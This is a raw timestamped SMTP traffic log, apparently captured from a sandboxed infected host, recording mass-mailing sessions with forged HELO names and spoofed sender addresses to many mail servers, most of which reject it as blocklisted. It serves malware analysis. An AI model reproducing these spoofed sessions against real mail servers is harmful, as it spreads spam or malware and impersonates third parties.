Jan 7, 2022 15:44:03.752867937 CET	49983	25	192.168.2.6	142.250.150.26	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:44:03.770363092 CET	25	49985	195.29.173.138	192.168.2.6	554-ma-01.vlada.hr 554 Your access to this mail system has been rejected due to the sending MTA's poor reputation. If you believe that this failure is in error, please contact the intended recipient via alternate means.
Jan 7, 2022 15:44:03.814341068 CET	25	49983	142.250.150.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser o26si4796572lfn.276 - gsmtp
Jan 7, 2022 15:44:03.814527988 CET	49983	25	192.168.2.6	142.250.150.26	QUIT
Jan 7, 2022 15:44:03.828633070 CET	25	49986	195.29.173.139	192.168.2.6	554-ma-01.vlada.hr 554 Your access to this mail system has been rejected due to the sending MTA's poor reputation. If you believe that this failure is in error, please contact the intended recipient via alternate means.
Jan 7, 2022 15:44:04.007627964 CET	25	49979	74.125.200.27	192.168.2.6	220 mx.google.com ESMTP s7si4961508plq.371 - gsmtp
Jan 7, 2022 15:44:04.007800102 CET	49979	25	192.168.2.6	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:44:04.338823080 CET	25	49989	44.198.115.56	192.168.2.6	220 mail555.messagelabs.com ESMTP Fri, 07 Jan 2022 14:44:04 +0000
Jan 7, 2022 15:44:04.338980913 CET	49989	25	192.168.2.6	44.198.115.56	HELO cluster10a.us.messagelabs.com
Jan 7, 2022 15:44:04.478490114 CET	25	49989	44.198.115.56	192.168.2.6	250 mail555.messagelabs.com Hello cluster10a.us.messagelabs.com [100.112.14.110]
Jan 7, 2022 15:44:04.478637934 CET	49989	25	192.168.2.6	44.198.115.56	MAIL FROM: <carol_mfvun@mail.com>
Jan 7, 2022 15:44:04.515023947 CET	25	49979	74.125.200.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:04.515301943 CET	49979	25	192.168.2.6	74.125.200.27	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:04.618887901 CET	25	49989	44.198.115.56	192.168.2.6	250 OK
Jan 7, 2022 15:44:04.619147062 CET	49989	25	192.168.2.6	44.198.115.56	RCPT TO: <john.smith@abc.org>
Jan 7, 2022 15:44:04.667752981 CET	25	49987	74.125.200.26	192.168.2.6	220 mx.google.com ESMTP kb2si5544572pjb.183 - gsmtp
Jan 7, 2022 15:44:04.668986082 CET	49987	25	192.168.2.6	74.125.200.26	HELO aspmx3.googlemail.com
Jan 7, 2022 15:44:04.758649111 CET	25	49989	44.198.115.56	192.168.2.6	421 Service Temporarily Unavailable
Jan 7, 2022 15:44:04.758841991 CET	49989	25	192.168.2.6	44.198.115.56	QUIT
Jan 7, 2022 15:44:04.898588896 CET	25	49989	44.198.115.56	192.168.2.6	221 mail555.messagelabs.com closing connection
Jan 7, 2022 15:44:04.900089979 CET	25	49992	173.228.157.39	192.168.2.6	220 pb-mx20.pobox.com ESMTP Postfix
Jan 7, 2022 15:44:04.900243044 CET	49992	25	192.168.2.6	173.228.157.39	HELO pb-mx20.pobox.com
Jan 7, 2022 15:44:05.019397020 CET	25	49979	74.125.200.27	192.168.2.6	250 2.1.0 OK s7si4961508plq.371 - gsmtp
Jan 7, 2022 15:44:05.019542933 CET	49979	25	192.168.2.6	74.125.200.27	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:05.059617043 CET	25	49992	173.228.157.39	192.168.2.6	250 pb-mx20.pobox.com
Jan 7, 2022 15:44:05.059648037 CET	25	49995	67.219.247.199	192.168.2.6	450 Requested action aborted [7.2] 70708, please visit https://knowledge.broadcom.com/external/article?legacyId=TECH246726 for more details about this error message.
Jan 7, 2022 15:44:05.059906960 CET	49992	25	192.168.2.6	173.228.157.39	MAIL FROM: <david.anderson@email.myway.com>
Jan 7, 2022 15:44:05.171947002 CET	25	49987	74.125.200.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:05.172158003 CET	49987	25	192.168.2.6	74.125.200.26	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:44:05.220000982 CET	25	49992	173.228.157.39	192.168.2.6	250 2.1.0 Ok
Jan 7, 2022 15:44:05.220665932 CET	49992	25	192.168.2.6	173.228.157.39	RCPT TO: <biljir@pobox.com>
Jan 7, 2022 15:44:05.235810995 CET	25	49994	54.244.49.115	192.168.2.6	220 ip-10-130-0-36 ESMTP Haraka/2.8.20 ready
Jan 7, 2022 15:44:05.235960007 CET	49994	25	192.168.2.6	54.244.49.115	HELO mail.h-email.net
Jan 7, 2022 15:44:05.406124115 CET	25	49992	173.228.157.39	192.168.2.6	250 2.1.5 Ok
Jan 7, 2022 15:44:05.406280994 CET	49992	25	192.168.2.6	173.228.157.39	DATA
Jan 7, 2022 15:44:05.431516886 CET	25	49994	54.244.49.115	192.168.2.6	250 ip-10-130-0-36 Hello [102.129.143.96], Haraka is at your service.
Jan 7, 2022 15:44:05.434340954 CET	49994	25	192.168.2.6	54.244.49.115	MAIL FROM: <Donna.martinez@mail.lycos.com>
Jan 7, 2022 15:44:05.533936024 CET	25	49979	74.125.200.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser s7si4961508plq.371 - gsmtp
Jan 7, 2022 15:44:05.534269094 CET	49979	25	192.168.2.6	74.125.200.27	QUIT
Jan 7, 2022 15:44:05.565772057 CET	25	49992	173.228.157.39	192.168.2.6	354 End data with <CR><LF>.<CR><LF>
Jan 7, 2022 15:44:05.623481989 CET	25	49994	54.244.49.115	192.168.2.6	250 sender <Donna.martinez@mail.lycos.com> OK
Jan 7, 2022 15:44:05.623668909 CET	49994	25	192.168.2.6	54.244.49.115	RCPT TO: <xqy-oricine@cineva.com>
Jan 7, 2022 15:44:05.673860073 CET	25	49987	74.125.200.26	192.168.2.6	250 2.1.0 OK kb2si5544572pjb.183 - gsmtp
Jan 7, 2022 15:44:05.674030066 CET	49987	25	192.168.2.6	74.125.200.26	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:44:05.812342882 CET	25	49994	54.244.49.115	192.168.2.6	250 recipient <xqy-oricine@cineva.com> OK
Jan 7, 2022 15:44:05.812503099 CET	49994	25	192.168.2.6	54.244.49.115	DATA
Jan 7, 2022 15:44:06.002877951 CET	25	49994	54.244.49.115	192.168.2.6	354 go ahead, make my day
Jan 7, 2022 15:44:06.038768053 CET	25	49979	74.125.200.27	192.168.2.6	221 2.0.0 closing connection s7si4961508plq.371 - gsmtp
Jan 7, 2022 15:44:06.114378929 CET	25	49914	185.175.124.58	192.168.2.6	220-mxbck.leonet.it ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 15:44:06 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 7, 2022 15:44:06.118431091 CET	49914	25	192.168.2.6	185.175.124.58	HELO mxbck.leonet.it
Jan 7, 2022 15:44:06.159543037 CET	25	49914	185.175.124.58	192.168.2.6	250 mxbck.leonet.it Hello mxbck.leonet.it [102.129.143.96]
Jan 7, 2022 15:44:06.161370993 CET	49914	25	192.168.2.6	185.175.124.58	MAIL FROM: <betty.hernandez@care2.com>
Jan 7, 2022 15:44:06.185816050 CET	25	49987	74.125.200.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser kb2si5544572pjb.183 - gsmtp
Jan 7, 2022 15:44:06.186067104 CET	49987	25	192.168.2.6	74.125.200.26	QUIT
Jan 7, 2022 15:44:06.203155041 CET	25	49914	185.175.124.58	192.168.2.6	250 OK
Jan 7, 2022 15:44:06.203320980 CET	49914	25	192.168.2.6	185.175.124.58	RCPT TO: <cineva@orice.com>
Jan 7, 2022 15:44:06.291907072 CET	25	50000	142.250.150.27	192.168.2.6	220 mx.google.com ESMTP p8si5162221ljj.204 - gsmtp
Jan 7, 2022 15:44:06.292100906 CET	50000	25	192.168.2.6	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:44:06.346471071 CET	25	50000	142.250.150.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:06.346791029 CET	50000	25	192.168.2.6	142.250.150.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:44:06.399102926 CET	25	50000	142.250.150.27	192.168.2.6	250 2.1.0 OK p8si5162221ljj.204 - gsmtp
Jan 7, 2022 15:44:06.399364948 CET	50000	25	192.168.2.6	142.250.150.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:44:06.460812092 CET	25	50000	142.250.150.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser p8si5162221ljj.204 - gsmtp
Jan 7, 2022 15:44:06.461066008 CET	50000	25	192.168.2.6	142.250.150.27	QUIT
Jan 7, 2022 15:44:06.513497114 CET	25	50000	142.250.150.27	192.168.2.6	221 2.0.0 closing connection p8si5162221ljj.204 - gsmtp
Jan 7, 2022 15:44:06.687176943 CET	25	49987	74.125.200.26	192.168.2.6	221 2.0.0 closing connection kb2si5544572pjb.183 - gsmtp
Jan 7, 2022 15:44:06.703901052 CET	25	50003	104.47.18.74	192.168.2.6	220 AM6EUR05FT014.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:44:05 +0000
Jan 7, 2022 15:44:06.704042912 CET	50003	25	192.168.2.6	104.47.18.74	HELO domini-cat.mail.protection.outlook.com
Jan 7, 2022 15:44:06.729857922 CET	25	50003	104.47.18.74	192.168.2.6	250 AM6EUR05FT014.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:44:06.730001926 CET	50003	25	192.168.2.6	104.47.18.74	MAIL FROM: <sec@domini.cat>
Jan 7, 2022 15:44:06.756767988 CET	25	50003	104.47.18.74	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:44:06.756939888 CET	50003	25	192.168.2.6	104.47.18.74	RCPT TO: <secretaria@domini.cat>
Jan 7, 2022 15:44:06.783338070 CET	25	50003	104.47.18.74	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [AM6EUR05FT014.eop-eur05.prod.protection.outlook.com]
Jan 7, 2022 15:44:06.783472061 CET	50003	25	192.168.2.6	104.47.18.74	QUIT
Jan 7, 2022 15:44:06.809154987 CET	25	50003	104.47.18.74	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:44:07.014938116 CET	25	50005	108.177.119.26	192.168.2.6	220 mx.google.com ESMTP z2si2894864ejm.243 - gsmtp
Jan 7, 2022 15:44:07.015079975 CET	50005	25	192.168.2.6	108.177.119.26	HELO aspmx.l.google.com
Jan 7, 2022 15:44:07.044939041 CET	25	50005	108.177.119.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:07.078530073 CET	50005	25	192.168.2.6	108.177.119.26	MAIL FROM: <walker_1961@goowy.com>
Jan 7, 2022 15:44:07.105695963 CET	25	50005	108.177.119.26	192.168.2.6	250 2.1.0 OK z2si2894864ejm.243 - gsmtp
Jan 7, 2022 15:44:07.244438887 CET	50005	25	192.168.2.6	108.177.119.26	RCPT TO: <greg@kinoho.net>
Jan 7, 2022 15:44:07.313427925 CET	25	50002	74.125.200.27	192.168.2.6	220 mx.google.com ESMTP b7si5519749plz.210 - gsmtp
Jan 7, 2022 15:44:07.313740969 CET	50002	25	192.168.2.6	74.125.200.27	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:44:07.420063972 CET	25	50005	108.177.119.26	192.168.2.6	250 2.1.5 OK z2si2894864ejm.243 - gsmtp
Jan 7, 2022 15:44:07.420202971 CET	50005	25	192.168.2.6	108.177.119.26	DATA
Jan 7, 2022 15:44:07.447402954 CET	25	50005	108.177.119.26	192.168.2.6	354 Go ahead z2si2894864ejm.243 - gsmtp
Jan 7, 2022 15:44:07.709285975 CET	49994	25	192.168.2.6	54.244.49.115	. QUIT
Jan 7, 2022 15:44:07.799942970 CET	25	50007	194.97.150.230	192.168.2.6	220-mta.openssl.org ESMTP Postfix
Jan 7, 2022 15:44:07.800199032 CET	50007	25	192.168.2.6	194.97.150.230	HELO mta.openssl.org
Jan 7, 2022 15:44:07.818069935 CET	25	50007	194.97.150.230	192.168.2.6	220 mta.openssl.org ESMTP Postfix
Jan 7, 2022 15:44:07.818253040 CET	50007	25	192.168.2.6	194.97.150.230	QUIT
Jan 7, 2022 15:44:07.818944931 CET	25	50002	74.125.200.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:07.819051981 CET	50002	25	192.168.2.6	74.125.200.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:44:07.833138943 CET	25	50007	194.97.150.230	192.168.2.6	250 mta.openssl.org
Jan 7, 2022 15:44:07.833658934 CET	25	50007	194.97.150.230	192.168.2.6	221 2.0.0 Bye
Jan 7, 2022 15:44:08.153074980 CET	50005	25	192.168.2.6	108.177.119.26	. QUIT
Jan 7, 2022 15:44:08.269597054 CET	25	50004	51.81.57.58	192.168.2.6	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:44:08.322213888 CET	25	50002	74.125.200.27	192.168.2.6	250 2.1.0 OK b7si5519749plz.210 - gsmtp
Jan 7, 2022 15:44:08.323071957 CET	50002	25	192.168.2.6	74.125.200.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:44:08.399111032 CET	25	50009	108.177.127.26	192.168.2.6	220 mx.google.com ESMTP he8si2412028ejc.251 - gsmtp
Jan 7, 2022 15:44:08.401359081 CET	50009	25	192.168.2.6	108.177.127.26	HELO aspmx.l.google.com
Jan 7, 2022 15:44:08.424802065 CET	25	50010	108.177.127.26	192.168.2.6	220 mx.google.com ESMTP t10si2943742edd.101 - gsmtp
Jan 7, 2022 15:44:08.424935102 CET	50010	25	192.168.2.6	108.177.127.26	HELO aspmx.l.google.com
Jan 7, 2022 15:44:08.432590008 CET	25	50009	108.177.127.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:08.432734966 CET	50009	25	192.168.2.6	108.177.127.26	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:08.438882113 CET	49992	25	192.168.2.6	173.228.157.39	. QUIT
Jan 7, 2022 15:44:08.445293903 CET	50005	25	192.168.2.6	108.177.119.26	. QUIT
Jan 7, 2022 15:44:08.453731060 CET	25	50010	108.177.127.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:08.453855991 CET	50010	25	192.168.2.6	108.177.127.26	MAIL FROM: <sec@cryptsoft.com>
Jan 7, 2022 15:44:08.460150003 CET	25	50009	108.177.127.26	192.168.2.6	250 2.1.0 OK he8si2412028ejc.251 - gsmtp
Jan 7, 2022 15:44:08.460282087 CET	50009	25	192.168.2.6	108.177.127.26	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:08.480566025 CET	25	50010	108.177.127.26	192.168.2.6	250 2.1.0 OK t10si2943742edd.101 - gsmtp
Jan 7, 2022 15:44:08.482140064 CET	50010	25	192.168.2.6	108.177.127.26	RCPT TO: <tjh@cryptsoft.com>
Jan 7, 2022 15:44:08.499610901 CET	25	50009	108.177.127.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser he8si2412028ejc.251 - gsmtp
Jan 7, 2022 15:44:08.499763012 CET	50009	25	192.168.2.6	108.177.127.26	QUIT
Jan 7, 2022 15:44:08.526745081 CET	25	50009	108.177.127.26	192.168.2.6	221 2.0.0 closing connection he8si2412028ejc.251 - gsmtp
Jan 7, 2022 15:44:08.564724922 CET	25	50010	108.177.127.26	192.168.2.6	250 2.1.5 OK t10si2943742edd.101 - gsmtp
Jan 7, 2022 15:44:08.564894915 CET	50010	25	192.168.2.6	108.177.127.26	DATA
Jan 7, 2022 15:44:08.591629028 CET	25	50010	108.177.127.26	192.168.2.6	354 Go ahead t10si2943742edd.101 - gsmtp
Jan 7, 2022 15:44:08.835630894 CET	25	50002	74.125.200.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser b7si5519749plz.210 - gsmtp
Jan 7, 2022 15:44:08.835936069 CET	50002	25	192.168.2.6	74.125.200.27	QUIT
Jan 7, 2022 15:44:08.921125889 CET	25	49992	173.228.157.39	192.168.2.6	250 2.0.0 Queued as C2D61C594EF 221 2.0.0 Bye
Jan 7, 2022 15:44:09.286398888 CET	50010	25	192.168.2.6	108.177.127.26	. QUIT
Jan 7, 2022 15:44:09.348541975 CET	25	50012	74.125.200.26	192.168.2.6	220 mx.google.com ESMTP h8si5119180pgh.184 - gsmtp
Jan 7, 2022 15:44:09.349474907 CET	50012	25	192.168.2.6	74.125.200.26	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:44:09.642297029 CET	25	50017	173.228.157.39	192.168.2.6	220 pb-mx20.pobox.com ESMTP Postfix
Jan 7, 2022 15:44:09.643508911 CET	50017	25	192.168.2.6	173.228.157.39	HELO pb-mx20.pobox.com
Jan 7, 2022 15:44:09.726902962 CET	25	50016	205.220.176.130	192.168.2.6	554 Blocked - see https://ipcheck.proofpoint.com/?ip=102.129.143.96
Jan 7, 2022 15:44:09.801903963 CET	25	50017	173.228.157.39	192.168.2.6	250 pb-mx20.pobox.com
Jan 7, 2022 15:44:09.802086115 CET	50017	25	192.168.2.6	173.228.157.39	MAIL FROM: <sharon1964@hotmail.com>
Jan 7, 2022 15:44:09.852018118 CET	25	50012	74.125.200.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:09.852322102 CET	50012	25	192.168.2.6	74.125.200.26	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:09.864958048 CET	25	50016	205.220.176.130	192.168.2.6	421 4.4.2 Connection read error
Jan 7, 2022 15:44:09.960746050 CET	25	50017	173.228.157.39	192.168.2.6	250 2.1.0 Ok
Jan 7, 2022 15:44:09.961209059 CET	50017	25	192.168.2.6	173.228.157.39	RCPT TO: <biljir@pobox.com>
Jan 7, 2022 15:44:10.002754927 CET	25	50020	205.220.176.130	192.168.2.6	554 Blocked - see https://ipcheck.proofpoint.com/?ip=102.129.143.96
Jan 7, 2022 15:44:10.081810951 CET	25	49934	176.223.123.126	192.168.2.6	220-cloud308.mxserver.ro ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 16:44:10 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 7, 2022 15:44:10.082052946 CET	49934	25	192.168.2.6	176.223.123.126	HELO ppp.ro
Jan 7, 2022 15:44:10.092607021 CET	25	50021	185.183.28.235	192.168.2.6	220 mx08-00377f01.pphosted.com ESMTP mfa-m0169133
Jan 7, 2022 15:44:10.092731953 CET	50021	25	192.168.2.6	185.183.28.235	HELO mxa-00377f01.gslb.pphosted.com
Jan 7, 2022 15:44:10.121362925 CET	25	49934	176.223.123.126	192.168.2.6	250 cloud308.mxserver.ro Hello ppp.ro [102.129.143.96]
Jan 7, 2022 15:44:10.121484041 CET	49934	25	192.168.2.6	176.223.123.126	MAIL FROM: <brent.moore@email.myway.com>
Jan 7, 2022 15:44:10.126904011 CET	25	50021	185.183.28.235	192.168.2.6	250 mx08-00377f01.pphosted.com Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:44:10.130068064 CET	50021	25	192.168.2.6	185.183.28.235	MAIL FROM: <secur@northcoast.com>
Jan 7, 2022 15:44:10.132042885 CET	25	50020	205.220.176.130	192.168.2.6	421 4.4.2 Connection read error
Jan 7, 2022 15:44:10.147007942 CET	25	50017	173.228.157.39	192.168.2.6	250 2.1.5 Ok
Jan 7, 2022 15:44:10.147162914 CET	50017	25	192.168.2.6	173.228.157.39	DATA
Jan 7, 2022 15:44:10.160902977 CET	25	49934	176.223.123.126	192.168.2.6	250 OK
Jan 7, 2022 15:44:10.162313938 CET	49934	25	192.168.2.6	176.223.123.126	RCPT TO: <reg@ppp.ro>
Jan 7, 2022 15:44:10.165056944 CET	25	50021	185.183.28.235	192.168.2.6	250 2.1.0 Sender ok
Jan 7, 2022 15:44:10.165241003 CET	50021	25	192.168.2.6	185.183.28.235	RCPT TO: <grady@northcoast.com>
Jan 7, 2022 15:44:10.203494072 CET	25	50021	185.183.28.235	192.168.2.6	250 2.1.5 Recipient ok
Jan 7, 2022 15:44:10.203656912 CET	50021	25	192.168.2.6	185.183.28.235	DATA
Jan 7, 2022 15:44:10.229903936 CET	25	50021	185.183.28.235	192.168.2.6	354 Enter mail, end with "." on a line by itself
Jan 7, 2022 15:44:10.305337906 CET	25	50017	173.228.157.39	192.168.2.6	354 End data with <CR><LF>.<CR><LF>
Jan 7, 2022 15:44:10.354578972 CET	25	50012	74.125.200.26	192.168.2.6	250 2.1.0 OK h8si5119180pgh.184 - gsmtp
Jan 7, 2022 15:44:10.354737043 CET	50012	25	192.168.2.6	74.125.200.26	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:10.409457922 CET	50021	25	192.168.2.6	185.183.28.235	. QUIT
Jan 7, 2022 15:44:10.433195114 CET	25	50021	185.183.28.235	192.168.2.6	250 2.0.0 3de4w2exvk-1 Message accepted for delivery 221 2.0.0 mx08-00377f01.pphosted.com Closing connection
Jan 7, 2022 15:44:10.436666965 CET	25	50008	51.81.57.59	192.168.2.6	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:44:10.871577978 CET	25	50012	74.125.200.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser h8si5119180pgh.184 - gsmtp
Jan 7, 2022 15:44:10.871753931 CET	50012	25	192.168.2.6	74.125.200.26	QUIT
Jan 7, 2022 15:44:11.374412060 CET	25	50012	74.125.200.26	192.168.2.6	221 2.0.0 closing connection h8si5119180pgh.184 - gsmtp
Jan 7, 2022 15:44:11.689842939 CET	50017	25	192.168.2.6	173.228.157.39	. QUIT
Jan 7, 2022 15:44:11.725222111 CET	25	50023	74.125.200.26	192.168.2.6	220 mx.google.com ESMTP w21si5103523pgh.577 - gsmtp
Jan 7, 2022 15:44:11.725378990 CET	50023	25	192.168.2.6	74.125.200.26	HELO aspmx3.googlemail.com
Jan 7, 2022 15:44:11.941422939 CET	25	50022	51.81.242.59	192.168.2.6	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:44:12.232574940 CET	25	50023	74.125.200.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:12.233808994 CET	50023	25	192.168.2.6	74.125.200.26	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:12.246990919 CET	25	50017	173.228.157.39	192.168.2.6	250 2.0.0 Queued as 20E92A3A8C9 221 2.0.0 Bye
Jan 7, 2022 15:44:12.737170935 CET	25	50023	74.125.200.26	192.168.2.6	250 2.1.0 OK w21si5103523pgh.577 - gsmtp
Jan 7, 2022 15:44:12.737380981 CET	50023	25	192.168.2.6	74.125.200.26	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:13.255266905 CET	25	50023	74.125.200.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser w21si5103523pgh.577 - gsmtp
Jan 7, 2022 15:44:13.255980968 CET	50023	25	192.168.2.6	74.125.200.26	QUIT
Jan 7, 2022 15:44:13.363781929 CET	25	50038	142.250.150.27	192.168.2.6	220 mx.google.com ESMTP b6si5159216ljj.442 - gsmtp
Jan 7, 2022 15:44:13.364016056 CET	50038	25	192.168.2.6	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:44:13.420067072 CET	25	50038	142.250.150.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:13.420202971 CET	50038	25	192.168.2.6	142.250.150.27	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:13.472990036 CET	25	50038	142.250.150.27	192.168.2.6	250 2.1.0 OK b6si5159216ljj.442 - gsmtp
Jan 7, 2022 15:44:13.473134041 CET	50038	25	192.168.2.6	142.250.150.27	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:13.537023067 CET	25	50038	142.250.150.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser b6si5159216ljj.442 - gsmtp
Jan 7, 2022 15:44:13.537390947 CET	50038	25	192.168.2.6	142.250.150.27	QUIT
Jan 7, 2022 15:44:13.576481104 CET	25	50028	51.81.242.150	192.168.2.6	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:44:13.590104103 CET	25	50038	142.250.150.27	192.168.2.6	221 2.0.0 closing connection b6si5159216ljj.442 - gsmtp
Jan 7, 2022 15:44:13.646011114 CET	25	50039	142.250.150.27	192.168.2.6	220 mx.google.com ESMTP j3si5957005lfe.517 - gsmtp
Jan 7, 2022 15:44:13.646168947 CET	50039	25	192.168.2.6	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:44:13.704998016 CET	25	50039	142.250.150.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:13.705128908 CET	50039	25	192.168.2.6	142.250.150.27	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:13.757472992 CET	25	50039	142.250.150.27	192.168.2.6	250 2.1.0 OK j3si5957005lfe.517 - gsmtp
Jan 7, 2022 15:44:13.757769108 CET	50039	25	192.168.2.6	142.250.150.27	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:13.820054054 CET	25	50039	142.250.150.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser j3si5957005lfe.517 - gsmtp
Jan 7, 2022 15:44:13.820182085 CET	50039	25	192.168.2.6	142.250.150.27	QUIT
Jan 7, 2022 15:44:17.293045044 CET	25	50041	51.81.57.58	192.168.2.6	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:44:18.864206076 CET	25	50042	51.81.57.59	192.168.2.6	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:44:20.645827055 CET	25	50044	51.81.242.59	192.168.2.6	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:44:21.984803915 CET	25	50047	51.81.242.150	192.168.2.6	550 5.7.1 Connection refused - OXSUS002_105 - https://postmaster-oxsus.vadesecure.com/#OXSUS002_105
Jan 7, 2022 15:44:22.569874048 CET	25	50050	195.29.173.138	192.168.2.6	554-ma-01.vlada.hr 554 Your access to this mail system has been rejected due to the sending MTA's poor reputation. If you believe that this failure is in error, please contact the intended recipient via alternate means.
Jan 7, 2022 15:44:22.627657890 CET	25	50051	195.29.173.139	192.168.2.6	554-ma-01.vlada.hr 554 Your access to this mail system has been rejected due to the sending MTA's poor reputation. If you believe that this failure is in error, please contact the intended recipient via alternate means.
Jan 7, 2022 15:44:24.932394028 CET	25	49996	185.175.124.58	192.168.2.6	220-mxbck.leonet.it ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 15:44:24 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 7, 2022 15:44:25.232108116 CET	49996	25	192.168.2.6	185.175.124.58	HELO mxbck.leonet.it
Jan 7, 2022 15:44:25.278671980 CET	25	49996	185.175.124.58	192.168.2.6	250 mxbck.leonet.it Hello mxbck.leonet.it [102.129.143.96]
Jan 7, 2022 15:44:25.278805971 CET	49996	25	192.168.2.6	185.175.124.58	MAIL FROM: <gonzalezouycd@goowy.com>
Jan 7, 2022 15:44:25.325176954 CET	25	49996	185.175.124.58	192.168.2.6	250 OK
Jan 7, 2022 15:44:25.325321913 CET	49996	25	192.168.2.6	185.175.124.58	RCPT TO: <cineva@orice.com>
Jan 7, 2022 15:44:25.374830008 CET	25	49998	176.223.123.126	192.168.2.6	220-cloud308.mxserver.ro ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 16:44:25 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
